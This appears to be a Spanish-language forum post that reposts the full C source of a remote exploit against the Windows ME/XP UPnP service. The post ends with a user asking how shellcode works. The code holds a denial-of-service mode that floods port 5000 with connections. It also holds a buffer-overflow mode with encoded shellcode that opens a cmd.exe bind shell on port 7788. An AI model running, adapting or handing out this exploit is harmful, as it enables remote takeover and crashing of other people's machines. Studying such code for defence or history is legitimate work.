Codigo fuente Servicio UPNP Win XP

/*
* WinME/XP UPNP dos & overflow
*
* Run: ./XPloit host <option>
*
* Windows run the "Universal Plug and Play technology" service
* at port 5000. In the future this will allow for seemless
* connectivity of various devices such as a printer.
* This service have a DoS and a buffer overflow I exploit here.
*
* PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno
*
* Author: Gabriel Maggiotti
* Email: [email protected]
* Webpage: http://qb0x.net
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX 10000
#define PORT 5000
#define FREEZE 512
#define NOP 0x43 //inc ebx, instead of 0x90

/************************************************** *************************/

int main(int argc,char *argv[])
{
int sockfd[MAX];
char sendXP[]="XP";
char jmpcode[281], execode[840],request[2048];
char *send_buffer;
int num_socks;
int bindport;
int i;
int port;

unsigned char shellcode[] =
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\ xc5\x15\x90\x90"
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\ x97\x40\xe2\xfa"
"\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\ x68\xc4\xf3\x36"
"\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\ xa4\x4c\x2c\x97"
"\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\ x68\x28\x98\x14"
"\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\ xac\xda\xcd\xe2"
"\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\ xd2\xe2\x4e\x14"
"\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\ xae\xdc\xd2\xc5"
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\ xa4\x68\x1c\xd1"
"\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\ xc7\xe2\x9e\x16"
"\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\ x7c\x72\x94\x68"
"\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\ x1c\x6d\x1c\xd1"
"\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\ x94\xd9\x8b\x94"
"\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\ x60\x1c\x40\xa4"
"\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\ xc5\xc7\xc4\x68"
"\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\ x93\xcd\xa4\x57"
"\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\ x9e\xc5\xc1\xc4"
"\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\ xcd\x1c\x4f\xa4"
"\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\ x95\xe3\x9e\xc5"
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\ xc7\xd7\xc7\x68"
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\ xc4\x68\xc0\x67"
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\ xdf\xc7\xc0\xc1"
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\ x68\xc0\x57\xdf"
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\ x63\x1e\xd0\xab"
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\ x96\x96\x1e\xd0"
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\ xc7\x3a\xc1\xa4"
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\ xe1\x6b\x68\xc0"
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\ x23\x93\xc7\x56"
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\ x22\x93\xc7\xc7"
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\ xeb\xb5\xa4\x57"
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\ x57\xe3\xb8\xa4"
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\ xc0\x77\x7c\x5f"
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\ xa4\x5e\xc6\xc7"
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\ x7c\x3d\xc7\x68"
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\ xb3\x9b\x92\x2f"
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\ x7c\x7b\x7f\x75"
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\ xb4\x17\x70\xe0"
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\ x97\xdc\xd2\xc5"
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\ xc7\xfe\xe7\xf2"
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\ xf9\xf1\xf8\xd6"
"\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\ xe4\xe4\xd6\x97"
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\ xc7\xf2\xf2\xfc"
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\ xf8\xf5\xf6\xfb"
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\ xfe\xfb\xf2\x97"
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\ xf2\xe7\x97\xd2"
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\ xc0\xc4\xd8\xd4"
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\ xfe\xf9\xf3\x97"
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\ xe3\x97\xe4\xf2"
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\ x97\x97\x97\x97"
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\ xf2\xef\xf2\x97"
"\x68\x68\x68\x68";
struct hostent *he;
struct sockaddr_in their_addr;


if(argc!=3)
{
fprintf(stderr,"usage:%s <hostname> <command>\n",argv[0]);
fprintf(stderr,"-f freeze the machine.\n");
fprintf(stderr,"-e exploit.\n");
exit(1);
}


if(strstr(argv[2],"-f")) {
num_socks=FREEZE;
send_buffer=sendXP;
}

if(strstr(argv[2],"-e")) {
num_socks=1;
send_buffer=request;
bindport^=0x9797;
shellcode[778]= (bindport) & 0xff;
shellcode[779]= (bindport >> 8) & 0xff;

for(i = 0; i < 268; i++)
jmpcode[i] = (char)NOP;

jmpcode[268] = (char)0x4d;
jmpcode[269] = (char)0x3f;
jmpcode[270] = (char)0xe3;
jmpcode[271] = (char)0x77;
jmpcode[272] = (char)0x90;
jmpcode[273] = (char)0x90;
jmpcode[274] = (char)0x90;
jmpcode[275] = (char)0x90;

//jmp [ebx+0x64], jump to execute shellcode
jmpcode[276] = (char)0xff;
jmpcode[277] = (char)0x63;
jmpcode[278] = (char)0x64;
jmpcode[279] = (char)0x90;
jmpcode[280] = (char)0x00;

for(i = 0; i < 32; i++)
execode[i] = (char)NOP;
execode[32]=(char)0x00;
strcat(execode, shellcode);

snprintf(request, 2048, "%s%s\r\n\r\n", jmpcode, execode);
}

if((he=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname");
exit(1);
}


/************************************************** *************************/

for(i=0; i<num_socks;i++)
if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket"); exit(1);
}


their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(PORT);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);



for(i=0; i<num_socks;i++)
if( connect(sockfd[i],(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1)
{
perror("connect");
exit(1);
}


for(i=0; i<num_socks;i++)
if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1)
{
perror("send");
exit(0);
}


for(i=0; i<num_socks;i++)
close(sockfd[i]);


return 0;
}

fermarlop que es la variable shellcode? es q lo he visto en muchos exploits de buffer overflow, se q contiene el codigo q se ejecutara tras el overflow, pero no se como se hace. Puedes explicarlo tu o quien sea?